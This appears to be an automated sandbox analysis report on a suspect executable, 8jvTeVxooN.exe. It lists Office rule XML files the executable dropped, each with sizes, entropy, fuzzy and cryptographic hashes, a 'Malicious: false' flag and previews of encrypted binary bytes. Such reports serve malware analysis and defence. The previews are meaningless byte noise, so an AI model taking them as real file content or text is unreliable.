Preview:	<?xml.uI.....(OD..8F.X....\A...)Y..0..v......Y.._Y..;u...{..XUaN..-.)-s...0-.b....?..n.w.<..}K..R.E...#...o.F^g....pe.b..A<Q...xvBup......X.V.......L3\|..n..( .txX.xD.y....N.8.....e`......6..w9m...O.(B...tK..N..^.>..v....,.j.xjw,G+.7....~:.Dm.oT..~x.9....l.}....T.-$....).E.....oq.i...v.J.~..[..<N@X..W..?C..4..P...a....fbk...........n6.....<.......C[..?..YA.?N...G..A...l..C...OS..C.J.....Y(..z..AG...\..9n.?.....x...$..X..@...E\1b.3....B;o..Hr\.(.B..6.4[3..%..6kq......V..l..u`.4.....$.?.........S.........?.b...}%G.V.....tR.k...E..Z...v...z(}..m9_.......$..g.;Jb........D..V..nrwh...r.3.P....U2~....O0.!..2.D.Z...l.c[..`..wZ...!........6..`.P.x...L..O..........<l.j..i9.D...e..,.nN._p`d.#..}8..?. sY.kV2.J}JH..ybp...y.....V.l.:0..A..g........4#9...8....,....j.^pwB?.0.X.h.3...~........L.6a...k..cI8X...@ ......U.n.....U-../d[..A.a.?...5..&...G.Ki...6.P..S..&.;..i[.ZD..ej.g.'.u.C(.2..$..J.&...;..A-..s:..<. ^..L.lJ&...!-......t.^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978257528783722
Encrypted:	false
SSDEEP:	192:3fHbZu/FHkkP9tbbzAgBaMbGWLNp/RERWefzmfg5Xy3/Y6W:3f71M9FzAadnmWeDZ6W
MD5:	0C3C97CCF8B42569E5BA124ABDF7DBBA
SHA1:	04481A07655143975BBC9197E0E1BD950AB804D9
SHA-256:	76B56B8D3D6580B15F9B6257F1F7ACF80FDE88FF63402A7819B338978DD089FA
SHA-512:	CDF595BABB011E7221B1A86EBC34258899B833FBBE8412EDBE88901881E196D5D9367AC3AF60664D9CE53DDBA5300F1508F96C1CA177AE47B4FFAAC0EA31E3EC
Malicious:	false
Preview:	<?xml...z...X.....z4&..S.F...%..a..M..>[.L.+S..]?}..."x.J..t...hD.Q..U..~.~..@..\|..M1M...Bz.......2.tP...;..~V..C..l,D......t...?=...,..Oth.\|GEc.b....~6"]B..n...6^..oU.H...g.o.o.=......23.m...3....8.g......2./.C.S+;/.@...g.W.n..Va.%.K$......^>..w..$.f..~..V....v?..MB.3.rm....=........<.J....)<zhDX.@a6......6;'B....O.Y.1.. Eg&..H...6\.5{.D......?..-<4w...G.fH{;v..c.."..)[W........A..)\|...AA.j.T$$-....G"D4Y....BHYm<.u..\7V..6G.3.UW.u.u..dOI...-6{.%....J....`y.F.....,..'~q."......n.'...-.`l.....3ur.&.$D..P.E?.....nW......l#Sv.....V......{..#X'......^..u0L&y.....H.vw.d[Sm...9h..\|...$.....~yL\...l.CF.Vr.: jR3....~xi.....f..\|p./O....\..WK.vy....B.Q;..u...Zl.rhd;..#.:G.....q...-l@(.p.f.s.d..S.....u..kZDv t.$!.eB....?}...Xf...!#..k.@f...W....>.\|..v.....$.6(.S.v.Do..s.......N....nU..S......(..u...Ga..u.gT....c.D\|r#O.T>._.l..q....M.^.7.BqG'%..8.Y......._.k%....S.F.\|Y.....u.M.]^C'`M....(L.(G..z...K......9Z}....&h.mF..?."*.! ,..z........G.=&.O......S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.972432853423841
Encrypted:	false
SSDEEP:	96:a3xXxsfED51CLlncMTQVtPX3RC+NK/8mK/49BjbSiCNnoj+p1lJ3gT8Dt/tZmnf2:aBXxJDzCLHQVdRC+I0mRB8noCpvmGFzV
MD5:	B0978D78AEFD5EFA2C8E400049EFEC83
SHA1:	D660DA8A5C850208546E933B9FFE9A8029D12CC9
SHA-256:	4F52FCE028A9FEC6F400CBC08F2F91F028FF809603054616094BD46D1BE08F4B
SHA-512:	1E3C3EFF2F783D70ABDAE011FB319B4E0DA02F5F6A6F4A673FCF5BB841584C398E6B0C930B0880A4D5DF4D7D485E52A201CE80C0790E77E1688FF666CEFC111C
Malicious:	false
Preview:	<?xml.R...i....RS...5..&...D..v...e..A.X.D...+b:............hwI[~6.)..\|kc..<-..[..Z.4..Q.1n.v..<..U.Z...X.4._.L..7......9..t._..o.....Ou...8......%......J...!.I..q.J\|.h.),._n+.......J.b....g......9...s....Qgz6.....{G;...{.{.M..>9.'.;.i...a...T.y..V.S.....UUbY.t0."r.pM>....[..r.gV.{O.;....^.F..O.G.......Z......g,.mx...>.f@.%d(.LoB..y'..1..\|.Un........+}.\|C..B{'......+J....`.kI..K.$...b(1(."......z.N...Z.,..J.w.p..l...~~.....{..b......8..j.Tl.,..f`K...FFb.....}.C..fi..Wi.E.h..uK.....o.. sP...h..g-5.ta..B..........?........d..,.j..xA..x.ta..Q....j....'...p..[.{.w..1...^'_..G.bQ+.....3$U.-.$....(g...uE.Cfx...u....E!.Gv"..Q..F.......K.._.6..q..Tv..?@..2....J.C.H..Y.....T..2...'.?#..Y.8'..h..dV....z....q. ......s..jk.j...8.K.....pq..JW.L.h7..h...n....^T.F\|..r.*.......oFX...d9..b........D...f!........bk..3....p........!.0.].7..5.Uy........../..R..$HE....$............K3H..s....Hx....S...\.'.l...Is..4a][..r...E).TL..i....5!......V.$.t....8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.960387580919997
Encrypted:	false
SSDEEP:	96:m4quFdgQAQaH1VM5+7T/yeDZQ0KIqdhXWVW2Wm79YZ8AT:m4qjQBanM0ieDZUIaEVW2D9pAT
MD5:	23472C9C14521093521AA6FC8ECF3CEB
SHA1:	A04B7AB41A5D479C486D9CABD019C9F039DAD1C7
SHA-256:	659AF718571F754A12BA4C28FC488DEC96A2419EC082FA0B45F4768DA68893C0
SHA-512:	9D6102E621FCE2D2305529AEF11D7CEA2EF15C887E942BE014D55FAFEB8D6A0AB4D8A91F4041A90AB60D8305B72963C104E32D92C69BCE552E758B1EE3FCC156
Malicious:	false
Preview:	<?xml.i.....,...f7.g..L..?.....mi.Ky.Tud.^b..Vtr..{..x.,.D.<..Q.`.M..0.<...L4...H.^.9......'...=.I..1X_...k..W:$.7k..>.=9W...,<.t9^.m'.k.......E.^.L.d.....F.Bx......H..........j(.{......uE..T..P.KF>#%.8.R......C$v~..$l...c.R..Y...a.!........9.mk.(.\|........(.@4.&..'...:....;...A.k...6.x..,..a.1..F...1.e?R.]a..........8.....Wa.?..].K.FF&.P.L,s...x-....#.=.t..`.u.9[.np..i.F........'m...V}..d..1..\|.&......q..}@.o.i.((G.w.^.,...\..z....v8.\..'..L..lU.e.t.q...S........hI..8B.....Du:..N.C..v.(&.~Q...\..km#~........._.F2y..-.,.'.....P...,..{..P...J.[I.M.d...l.............]V..1c,_P4...N..v.&d.....MA.!=/.D..PN.h\|.:."..}X........\.(...h...;....m9.a/.4.sn-..Q.E...uP;Ya,jM...=.=.=..{!.I...0.#. Y.... .-:....X... ...`..H4..%.,.D....Y.../h.7....!.i.....r]xjG.r....Nu...#8.&p.p-..D....,..70...2/ay.....A/..?.Gv.Lc2..\|0....+1e..N.6{U"C.8w.j..g. ....uzPr.....K...NH"...ag...\|x.sw.\R...(..M.j.L....~..h.VJ..V....{....~:....gQ../.k.5...]....&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.958483760388665
Encrypted:	false
SSDEEP:	96:Pf/Waqe3Pg8eY89q8CX1I1nGEmE7gxevu6y7O518MYoxIYzZGatn2EdjdN+7+b/T:ealdeZq0MEN7gxczn8MVzEiX5dzqEM8
MD5:	C180D5A2F3D497F52008D07CFA63E4B3
SHA1:	43521733985EEB3DA94209CB575FC1D24720961D
SHA-256:	2A358ABB829C647EAB4D4BE4C19D1C640F336B8317A6413A0F41C0E4E5B0C906
SHA-512:	83B50A371BE40626D61842192BC7B67E5B00E1945055B436810612A0EAAFF0EB5E049F31F58A83045AF82D01904D590A9915B81A030BC7FB2F77E693A65AFA61
Malicious:	false
Preview:	<?xml...`.W=0......Ub-....U\|q~a.!l...yM$..(...9`.~N.R.s&T1rM....]H4.R....;5E^j)....A.=P5K5...3..<}/...........\..=..+..an.\|.ja.I.(1..:.9lw..z?...U.y......]..=..Q_]-.8.0....&.`jj.j...i}...b....qb;..B.J..{.-].O....R.-.........[.PN.S.#I................]..Cj.........HO.nRb.V......N..Xc.^. .d..1G..D...u..a7...0.I...;e.^.=....T.......V......!..I....m~..E...N..vPQ\|..C.&......z.Z.L.!.uZ..4C...Z......!...^!.......?O}....T]..=6<.,...._$E..9..PZI/mG.d.2..@..Q.u_....t.m.....4...4.I..}...,.d.@hA..:I0.M..].2....ylj.5r^..}..M.....+...F"....`.a...v.p6...G...:F3V......K...7............7B.xO..9..Wj..u....[.z+.+...:..V...b\|...{.a.....?..sK.9+...g}.57...:.].U.Jf.[.....V..#._....a.......m..{1x..;dK7.w....,.NcN\|.)M........L]5....;.-...em6<....-* s[8.>.x.C2...S...."N<..._%..{..e..P.X).N.......u> .r......7:..H.txN.......F.....H...;A./_..L..Y..........E.=]..,....g.cW4..O\.^G.d..;.m>....DsY.p....\|...4...1.........S...9.fj....?.y+7....I..Hy.{}.U>`^..-y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.941499316122006
Encrypted:	false
SSDEEP:	48:j+BVDLC1P97BYIhBftHvkTn6evajkehbHHvb9lAXgTeVPexw/zrO7M5zaWezsGgt:CBVDLCPCcBftPkTn5ajkeHPb9jIzzrOW
MD5:	120B6DCF9B2E165D93C44347AAA158DB
SHA1:	4B44D6B3626E26D255818C0B86983DA530B955BB
SHA-256:	50F941ABB45A2B41F0A762BE917BDB50BB2ED663CCA07FA5059F3E99E2358ED0
SHA-512:	3B78D39644EEB6C2012E81E940A9C6EA98B594DA2B8E755C589279BD43DB295D1EBFA1FD53371A223D3C88E0078D4ED84DF9F5AC78F4698EEF76163875B12001
Malicious:	false
Preview:	<?xml.x..b~..;t.hB...."...9'.H....r.\|.2..."&... ........\|N...nNF.0.Z..}K..,..Q.+.,.-R....B..../......9.d.3).. .Z..N...<.....W....g...I..!..s..WT......e..7#=v..n....>K.g.CP.Y.".".2.../...M.'.[M\.rG..w..'...1.....n4"R..[...L}...l...pL.=N.B^......8.(...Uji...Z..$.Lo.2v.?].Z..2...j..h.Ms.....y,....tL....b{....W`...O.(..&o. IG.".3....H.2.x......P......\.....~.....t.C}c_.~....9..R.n.....a.O..]..96;.8..3a.J.e.X..7.<..2.=.[.....)...d..5..<...w.C......M.&+........o.L2..ve..EU....>...c..l........j.!.....w.......k...p~.&..s.#...D@.....R<...m.-.2.WLP...OQ%+M..._`.%.......^.......Q...?.M-1.\|....T!...\|"%A.O<...c..2.}....xn~.h...ld...(.A..Oq...*.F..5..h.).u...N.3~..1...`....cMb...MW..!..iM...[.d.....76...?..mq......e.%.l+\|n..:o..h.'......%....j..@.+.E\|..R....G..v.P.;..3...s.F1...OK0n)?...&. ..u.uu.&fv&$..U..y<^...6.^#D....R....u.I.U.+.4u....J...M......AK=H..=...b...c........p.._.........,4...u.......x6?.^'.....x..>;.....3.=.Mx..Za}...R..4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.726398454585133
Encrypted:	false
SSDEEP:	24:7dtgx4iDmBcRbGY4t8F60EncnptWwlMObD:7dtqAc9x4c6+pzD
MD5:	14C707788591FB0DE8AA4C4D3CDDA2E9
SHA1:	8BB504AC0BE864A24ACC52183933C814A88ED6C2
SHA-256:	5ACA834173B6A2B0B1ED9CEF0D271E17C346CA501B2B6617385BBCE44547C0BE
SHA-512:	2EA81E00CAA7C41003E94FD4F4C800869389380FF34EC89D706C8F9456EC65F37BB05BEACC13EBF5B426934407F1657394FAFB9476DA88364D74C9B1373197EC
Malicious:	false
Preview:	<?xmlC..N.......{../.R.'.w..n!..)...y.4Y...&....J..4..(.p..@G.Q./......B..$..s..6<e?'Vs.L.._.Q.3..hW.$....k.6..._.k..eR.+...~..w..._..c............e..]3....h.....0....O..e...&.a....}..."...D.v.....1.{..:-.hP.......0F.2+.w.BL...F..u..P...P....o.....bY........G.i.8Nzt..,$..u.[.L...v.;.>(..2.\.c..x.....d...LU....H?...]7.%.v..2?.A...X.....;,..4.q3..I.....S..0....7...=..P..N..RC.4..6.^.....P.q...a.......m+..E..2..F....u.;y.......z..J.Y6.2.g.[2.G... .....d.TS......\]...*...RMb.o..N$..w...."{...Vs.LP...!C.L..d.k.-.po..[.Op.E..qX..g$..o.'..9..pQs..]....L.....^z.....#....z....}e..-kI.G..0H..S........A.....}B.J.4......R!-.C.iA){t@:..O....H.;O...%.s..y0..ZS.o........-..%.G. Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936440511877636
Encrypted:	false
SSDEEP:	48:/NKxFCm0XTmqPxR54TK17IaW6x90DzGshI95hRlApKyGvWK90u4mniD:/I8R54TdblOswnRlA4NvWKQ8q
MD5:	9D19B7D1C00FACAF9BECD96968995D0F
SHA1:	9FCED294E0F43E382F64107660301B49407882DB
SHA-256:	5B22F053255C1E524DF3F6EFBFC07967ED6F89DE8B5A1A7B71A0EF2119DB1386
SHA-512:	8F81C38E84F51450932DE1319E77B73B63070E590FF868E75469D130494A2ECF29CEE77474ED0D334D264F9E2DB7D0EC72C7053030053B93A88BE46CA997E326
Malicious:	false
Preview:	<?xml..`...Xj.e9..z...c.~.>.....D..8`.F.i#\.....P..E..VUo..C.b.P....w~..G^...,...]0^8.QpI...F.8J(M/;/E.....U.`-).}...G..........X.......<.v.jw.R.%.I.NW. .i.....K`.,....,.....I.]L.:W.L?......9O....)......LF.!..=/=.jz\..?.C......;/j..N.....\.$...... ..Yp..v&...c..i.}@kP.....q..cA.j.gF`..3..'.l.y..Q..wm2.C.W.H..c.V.1.<......m.7..../Na...S.b...f....LHe..P...#..u.&:..2.j...Pa.:Yi:..Y-t.a.g......YDG....Mg..S.6..t......T&.... 'UY.@.U.....N.d....^"..4.$.....&.....2.w .,H2...&.S..5.d..2..,......W5...b.[M....@...........}..cT.OJOq.tx.<..:...(..`f>......./.....)..C.u.'Bs....=[}...%VN....\|.....\.2...I..,O....T....6..h !...,...v....t...:g+.bc...........S....H...U...P....z$..t..x.N.7..Q..{T...?^.%3.8.P.8.F.....k.Q.....l...{...%C.....T....5..y...7.w.QN......z.RBB.MB...d...G3T...'...@O..^t........O.....{U.>..h....}R.C..`...{.u....4!DF...4..\.am.8...#".Y.jX..w........`.k.\|.X..6..YXK..J!Jl.B.(....Y.`]..4....z.;T.,...h....6i..i..r@....y.u.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.745111858079128
Encrypted:	false
SSDEEP:	24:65lynRn6cub7bFQCdnXVFQ24woKnDD679njSVvObD:6yntub7xQsQ24YDYnuVUD
MD5:	6E45B24E1F543C43C62C400A328E9CF8
SHA1:	B94F430BA18E59A461A9BC31A79BC802695CD16F
SHA-256:	89E20E4C16FBE171033CAE69A88D4CF6C07B9D66D4EF9D4ED0DB14A9D1928528
SHA-512:	6C8552878BED5EFEA19244E010E4238B0E8E38795D64E139D179C396DA1E0AF1F417550806D3C9350A11728E0206E36712DE9682CE9F9487E07D079DEB41ED9B
Malicious:	false
Preview:	<?xml..$..}..%.........Q.sm..t.g..Ih..t..>..>.R.B..Q.l]f..c....(9......dD..?.U.....#...Q..q......W.7,..F...........^i.r.Z..^e...r.{Zj.xK..Y.B..S...^....v7.3+l...+...Ow.>..}....][......TQ.!./....Uz......OXH....H..cvGP..chx....F,...D0.E;.......6...H..)....../.d..oZTN6.....UF.k.w.y.e...J...0..l.K.'.Bz.../..-.l.y.M....=..o.$D.~.CmJ.i...4#8....;>Z.6.{Q.}=..u.+..m.~....,.k5.....M.D.e.....h.'..>G.n!.J..;j>.^MP/X...1B.Ro...._!...j...Q...f./...cL!:..y........)5...`...Z...D...9.1..1D...0.hh0.Z.....A......K..%.z2:;(.^..?..v\D.e.......!...v...q\.~k.".-.n.i..~..4T..._......%..nd..fG.z~.;...>4 ..u`......[.0.;...>D.s......F>.P.....r..O....V.@....y.7....p.8..0&O.7....54...)..L/Z.*s.J..y.....<.m...rL.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941894250228522
Encrypted:	false
SSDEEP:	48:oXNaWxzuvzBQzpKfy6N6ISQnSAPyyEcIDAS3W9ZzN/jNd8t/PZD:+IWxUqQfy6N6ISQnSl+IDASm9ZhsPR
MD5:	F9D769110719D6D36BA4E695C9DD7976
SHA1:	286EB0B2FD468C6BA591F3BFA9B3806489C1CE11
SHA-256:	99FBCF19F35B06A4E499076327D5075A37AF0C256AC3A4D9F4652AC9B525511F
SHA-512:	241FE68482D6ED577ACDDF74D3E12553D032F6D414AA91A508EE80671924D9F60461C198C59A25A28435441A1B555FCC3E63AD4D93DFD7349BFBA07D3977330D
Malicious:	false
Preview:	<?xml8. ...;7..Z!...Y...(/.....Ff..M...8........Dqj......{Mm/Kq..a.;Q..}..,Y..n......X.!2..}ZAT..k.:.....7..[... ......+..p.....)....f5T.3....-]..&..d2..qkP.......L.:.9...C:p\...1.\..93...>.0....P.jy.l.......'L....H3..)..6..KKk....j].*.4..9.3.\|p.>.....-.........0RU....C.H.=...4l3.G......&=?.A.....".@........i.S...Y...b..E.yD..`......#..)..:..JO..+...cq5-cg...kRR`..hc...iU\..Q.S.....k..._.O..v].Dk.r2c..........p.......7....:Z.D.....B8.U...<!5...w..D..(j......~.A.W.'.k.-.)..%v...f.L...B.=M..U,..X..y=.&.w.'x-....'...Lgp.^W....,..ly..Z....N...+......#.HsFr.....,M.X.....Y~[6L.y........Q.7...-...l..%5..$.....".36.N./Tm....u.e..k..,.....x.._z&....bbi...g0....S.%k..q.D.wq.P....r.}.n..+h..T.a....u...Gb....e...$.=u...Se.....M....H.\|BK..R.0mW^o]..@e.....>e.y.........\|}...s..o..'..-.Q..i...a3bB..d.`..C%....@.......T..7n....:.$.E...&.)E.(.....p..E......ksw....&L..mC..6`..p..U`.z]5...<Q].m.~..p.....I}.h..{....^...l...X..5..W.c.....3d.0....k.7.kG...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.761374908182414
Encrypted:	false
SSDEEP:	24:9IzvdYgbP2BXojiaJjCLRB4bmA1l4G2cmjje/mLhAtObD:6vbeyjrJij4bmpcmu+L9D
MD5:	4D8E5EC04C0F1B5B792E1BC65312038A
SHA1:	3C72D0F419CEEBAB7322CDD636081638D63F6A14
SHA-256:	244CE5BB44BE47626A1AA35EAC2B15C6D70F27BD6A03C4566C14E15030E9E052
SHA-512:	1496CE765DB43DA9ABC857C37108DE12ACA23517A17FCCC36A6D317CA2DA5E9BAE334D174844550F8D3C954A7454728CF83249168DB9D1F72D393ACE4A8C46F4
Malicious:	false
Preview:	<?xml..........H....r.k3CS..P.j.k.....iW..A(.i._T0O.4u........$..."~.X..(r.J.X...}.V..$.@9&AO....{.{.\|`R.S.........uJE..N;.`N.^..!E.U.=.u...Eat...B..&..3E.xD.8....@..":... .q.o.^.\..iT..8..Z.fIK.U...pT..CpA..b.9..;`.L\...Ia,.0.Rg+.Jty a....;.+...P...(.C.p..Ke....P.f...&..tZ..I ...q..kc..)S...Bq.xvX.(hQK..n_.=c..b....h.7/..W...:..8\|....w..@......A....Nkw.#.f.B.=.zm.l.e....K+p.U"...L'I...h.......4..........F.6.8..n.V..;.JI`u..>.............h^FtG.>.9.Y....AA~...%m&.x..h.l.<.._..R...a}.S..ZR.T...G.P.,kk...~.../..0.9a.:-^....A....%.''A./Y.....`U...0...9..p8h)....8.t.2.\..2p7.'y.I..y..w;g ..A..R".....bA.&_.b.3l.vXg..G..$....N.>.9.!.U.s..4/....6..)..s..^-...M.....%`.x...e.%.(b..W.N.XK\..@S..p...Ap...&V...J.pwh..gD.]..h%S\/N...Z.t..CI&x{<....'Q./.....d$...I..l.J.+....#.h..\|.Eh...b.S..9.}...W..v..$".C>r....y..>... PM_.....h.......4..\..........+.h....pZ{9.rk..S[._.^.p...+...eZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.857770510849948
Encrypted:	false
SSDEEP:	24:NXxRNdUUBoctcLg3Ae1YZjHQoaQ5JQb87C6F3FAhlStq65rjB38S2mobcOTW8njI:NXxRNdUUae/3AeHoac7HFA7SH5eSLOTe
MD5:	1CD418B6545B7504BF91814E89AD7514
SHA1:	7B52C7F78BE2126081C1DD2BEA619845BE209776
SHA-256:	AAF26E30E11C21C8DC6499B157CDC465A91DA98E98C7FE3C38C40F699D769B61
SHA-512:	F6A908AC3488B6C7A6C2E4B603D0755F415EF3C8D728C517AC3BC6D8A3B28D0B472D12869A98DF9A468383FBA92F14510F2E5657BC83D07D67ECFE82603D876B
Malicious:	false
Preview:	<?xmlo.ri......r:&...5o_..rAE.u ...\DZ...c.t....3...1..[...po7...y..l.&......%..K.(..!A0-D.<.6....F.>Pf W...R..)bKZMek..-....8...P%Z.KR.D}s.r:.V...oLw...R....P.....?..5..@j..q..2.ki......uf........WQ.s.T.=l....%.%...1..},J.i.!....4...`..jG.F.R.a...p.>8.}.%O0.....X..P%..4M..h....>.1...D.[]n.h..~CZu.+.e.I.2.;...s...Pb..@...2....z.`t.0..$.e..D.....8...7.A..M._..j\.0(.`\V.2m..>...g."3=...p.e..![3.....ef.n.....c..X.K.nZ..2.{V.{#......f..#/S...FnY..,T...~_L/.g."..E<=%.2m..C.%s.......-A9.+.i.....I.).j.).#S:.?K.>n3.p_.=.+@.'.....v;".u.M...gs.,.Q]..&..........J..9..D1.Z....bk.....S\.2.+..o...A.?..............RpWD...}....u..\....Id.ud......h.x..F........n]...jKTH....^zM.6..P...>..to..j.%k.s...l..k....s..<Z..N...}xK.:..X...mK.}..u}^1..R........R.3......_...1.UL[-...q.fq.......%%....9.\.\|J...!.I.J.....$.''+.6....J.P.>..wUrjzw...wp...Jo.j.sdL.1=....G2S.H.5(yyE..`'kf..n...6w@..7d.4pY?...b.....s.x/..U.#..>.....j...3..s.;....D...]._]...+W._.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.768134863639568
Encrypted:	false
SSDEEP:	24:UIfokquddeV3E1LPQg6kWHcvhOo+FAYObD:3okXd0VoPQgnIyD
MD5:	CAC3786F1C2FECFC575AC33F439D2092
SHA1:	6A1DF58CCE1CCC1F3DF79B8046E3A19609498BC8
SHA-256:	71811B0F7D189A508363AEF0147B346230D8AD3C0900063FF4CF744E17B4C032
SHA-512:	18A76E4CA4528B930A7F43EC2A3399E0A17CD9F54BDEF395CB6EA0F4B88DDED4414DC524F50D4CEE773A0F474A6A4FFC09C9D941983109D238C6A226EF1414A3
Malicious:	false
Preview:	<?xml..6..tI.....a......k.>..z..^;.......5..6...\|..........j.G.`.@.9 :........."..5.3.. Q.6. GW..9i...._O;9......NC...^.......d./.9.u..\....p\|.?i4h..A..u.c..!.[^..{..H.NO..iHE.j<.....)...Z.......x.d7..9q.F_e....P.7a..!.d.C.5.S..Zd..#..........;wa.......2%Ca...j\.4t..}G.$.J...5a..gEu.Jm...i.=.d....q..X......2.!..`~..\|.Tp.p....Z.{..Q,.;_.L..Z.E.E....u..O.u...z.....dSO."..#.11.d[F#WS4....0?X..1....@.M..w.......n...oE5FP.1DJ........j. WU#...W...XJ.A..T...!_..C}lMa........'....f...p.....o.3tr....D...ZJ...sjs./.,..;...g..M...?..3.Bkn........T......o.....2s.M....h....6u....=.AD..v...PBrB+*.Y..p...z65.?..u.P......Cw._...W..C..q)..]$.d....d.1...~on:^...P$..$.....o.c?.lJ..1.......0h..l.....6.Bh9.....$...LgHM.8..wm...#..c.. ,...].. ..'n.f.i.2....au.,3..C....\.F0.W+.GXx..^..}.L...u?q....D. E.y[.b'mo6.u}.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.773938682031163
Encrypted:	false
SSDEEP:	12:kDO/IfBoHxlHEmTAFl4t/O/z6vAIxQQtH2Y0zy0f9BEbjJrQQ6WDUA2z0DuOciik:q8IfBoHzvKCxA6H2FL90RQdpAuObD
MD5:	27B9C7AAAD439F75963E500F9C265F93
SHA1:	ED426F1207AE7D577C398CDF76B3CD827C5AF3FE
SHA-256:	048082BCCD40EFA302E19F567B41A0FA38D5062A45395B3972A8938999DA1A37
SHA-512:	3E4DF24AC0AE23B6A8C01AD4FA429AF26FADDCAC40DAB8D54CABB62C333FD80F79CB7149433C525DAD99038B3028807783996118047EC0CF003E641114E39E5D
Malicious:	false
Preview:	<?xml...&..J.wG...d7$j...\|..2V.z.=$../.....p./..(.B...9.gQ.....@.R..i..M..=.#q&..J.g..P..g.GZ./..%J..._H...\.......!....\|N....L..V.=.G..:..........xc(w........)....ID..oe.i.%...a.k.'.$..-._.......2}.@^..3`..#p..?..;.P....SY./S.j..4..~.....P..UR.K.!Q...y8N.J.D.,.l.r!.../....5..GL@@..%h..Yd/~#c.C%.V.8.Aob.-.e..&..X.M.4P.5._...[?.w.F.0.p.WZi.Z....^....W.."....p.v.1f..UM^...D..)e.=..`.......2.-...}.d.\..;=....hv+....G.e.t...n.T..C....$...Z. .'l_A..Q/.+.7.........^.....R.....FWT\..Z.......<.{..w....R./..0....W...i...:+X;...~(>...)...):..r.7b...n...:.C$7\|Eyr.M?.M..'.Ut..bh..u..l....ue..r.M.........Z.......EC.g....7.R.*...^"\Ue.nK.p~.\|D.Qfq.&.-\|.....E...fPC...5...=v.]..#......#-9.._...].....N;K8.@@...T(B.g.~.A...u.o....t+.5x....Px......^.s..4....G]]T.{5...\|... .Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.814572634543236
Encrypted:	false
SSDEEP:	24:633wzGUEFS+PJ4k81MAg2VpUnkZJipGGOO4/r+5Z9i7ObD:6nC5ED4XaANX3icGOOIwiQD
MD5:	4EC74BB91A6074EEAA682E6E6B69F9BD
SHA1:	F6F71F3B5C0C78F716BA3AC3CEEE737022409B30
SHA-256:	2A765984A4E85CFD3A451A2112E5E94C3491E9E752B4106D62799707A9C0F1FD
SHA-512:	60FF77C361B539A1EDF227314585DCA4F37711FA99C5F1FDE76B5A72F8B69B179D1CEE77EF282E81BFB4A4FCDC084A1118B051ED28613A7FF674A25EC44C73C3
Malicious:	false
